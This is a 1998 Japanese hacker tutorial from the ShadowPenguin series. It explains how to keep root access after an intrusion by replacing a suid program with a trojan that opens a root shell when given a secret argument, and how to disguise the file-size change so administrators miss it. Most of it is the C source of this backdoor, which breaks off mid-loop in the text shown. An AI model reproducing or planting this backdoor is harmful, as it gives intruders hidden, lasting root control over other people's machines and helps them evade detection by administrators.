==================================== The ShadowPenguin Documents No.5 - 見つかりにくいrootshell - Written by うにゅん Oct.18, 1998 ==================================== 1. はじめに 侵入してrootを取った後、一般的な置きみあげの一つにrootshell がありますね。findす れば見つけられると思っている管理者はアマいです。このようなrootshell だと見つけに くいです。ここに紹介されているようなhrs を使用するとrootshell を長生きさせること ができます。通常のrootshell だと、findで検索されてバレることがあります。代表的な 探し方は、 %find / -perm 4755 -print とかで、出てきたsuidプログラムを片っ端から実行していくわけです。そこで、バレにく いrootshell 作ってみました。適当なsuidプログラムを入れ替えて、特殊な引数を指定し たときrootshell として機能するようにしたものです。そういったモノが仕込まれてる可 能性もあるので、「rootとられたかな〜」って思ったら、面倒だと思わずにシステム再構 築をやりましょうね。とりあえず、実験してみましょう。 2. 用意しておくもの sizer 等のプログラムのサイズをごまかすツール。sizer はここのHPに落ちてます。これ がなくても、サイズはおかしくなりますが問題なく動作はします。それと、当たり前です がrootになってないとダメですよ。 3. プログラム(hrs.c) #include #include #include #include #define ORIGINAL "/.desktop-user" (*2) #define MAGIC "hoge" (*1) main(argc,argv) int argc; char *argv[]; { int i; char buffer[2000]; setuid(0); setgid(0); if (argc==2 && strcmp(argv[1],"hoge")==0){ system("/usr/bin/csh"); }else{ sprintf(buffer,"chmod 4755 %s",ORIGINAL); system(buffer); strcpy(buffer,ORIGINAL); for (i=0;i